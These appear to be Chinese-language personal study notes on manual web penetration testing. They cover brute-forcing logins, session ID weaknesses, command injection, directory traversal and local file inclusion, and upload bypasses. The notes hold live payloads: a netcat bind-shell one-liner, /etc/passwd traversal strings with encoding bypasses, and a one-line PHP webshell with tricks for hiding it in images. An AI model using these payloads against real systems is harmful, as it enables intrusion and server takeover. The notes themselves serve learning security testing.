身份认证
账号密码
- 常用弱口令/基于字典的密码爆破
- 锁定账号
- 先手动多试几次,如果没有锁定机制,就可以爆破。
- 信息收集
- 手机号
- 密码错误提示信息
- 一些隐藏的信息比如错误码
- 去分站搜集账号相关信息
- 密码嗅探
- 密码找回
- 重置密码的url,观察随机数位数,128(MD5),160(SHA1),256(SHA2)
会话sessionID
- Xss/cookie importer
- SessionID in URL
- 嗅探
- SessionID 长期不变/永久不变
- SessionID 生成算法
- Sequencer
- 私有算法(不建议使用,可能被破解)
- 预判下一次登陆时生成的SessionID
- 登出后点击返回测试,看sessionID是否失效
远程命令执行
- 应用程序开发者直接调用操作系统功能
- ; && | || &
- ;mkfifo /tmp/pipe;sh /tmp/pipe|nc -nlp 4444> /tmp/pipe
目录遍历、文件包含
Directory traversal(可以读取web目录外的其它目录文件)/File include(操作系统其它位置文件被include到web目录)
- 目录权限限制不严/文件包含
/etc/php5/cgi/php/ini
- allow_url_include = on
- sudo /etc/init.d/apache2 restart
- allow_url_include = on
特征
- ?page=a.php
- ?home=b.html
- ?file=content
- url中的值=页面(也有可能在cookie中)
经典测试方法
- ?file=../../../../etc/passwd
- ?page=file:///etc/passwd
- ?home=
编码绕过字符过滤
- “.” “%00” #绕过文件拓展名过滤
- url编码、双层url编码
- %2e%2e%2f ../
- %2e%2e%5c ..\
- %252e%252e%252c ..\
- Unicode/UTF-8编码
- Base64
- ASCII hex
只过滤一次的绕过:
- 如果过滤规则是abcd,则ab abcd cd,过滤掉中间的之后,又会构成
其它系统路径可能使用到的字符
- file.txt…
- file.txt<space>
- file.txt””””
- file.txt<<<>>><
- ./././file.txt
- nonexistant/../file.txt
- UNC路径
- \1.1.1.1\path\to\file.txt
本地文件包含 lfi
- 查看文件
- 代码执行
- <?php echo shell exec ($_GET[‘cmd’])?>
- Apache access.log
/usr/share/wfuzz/wordlist/vulns
生成自己的字典文件
- 用以上编码及各种编码的组合生成测试的字典文件
文件上传
- 文件上传漏洞
- 一句话webshell
- <?php echo shell exec ($_GET[‘cmd’])?>
- 绕过:
- mimetype
- size
- name
- 文件内容的前几个字节,(把webshell写到图片的数据段)
- a.php.jpeg
- 防护:
- 删除上传文件的目录的执行权限
- 一句话webshell
总结
放弃无限定范围的爆破。
所有需要生成随机值的地方都要关注随机性。
符号提交时尝试编码
手动漏洞挖掘原则(重要!!!)
所有变量都要尝试!
所有头
- Cookie中的变量
逐个变量删除,没有影响的东西可以删掉。
漏洞的本质
- 数据和指令的混淆
- 对用户输入信息过滤不严,判断失误
如何做
- 首先了解常见漏洞类型,当检测时,就全部都尝试一遍。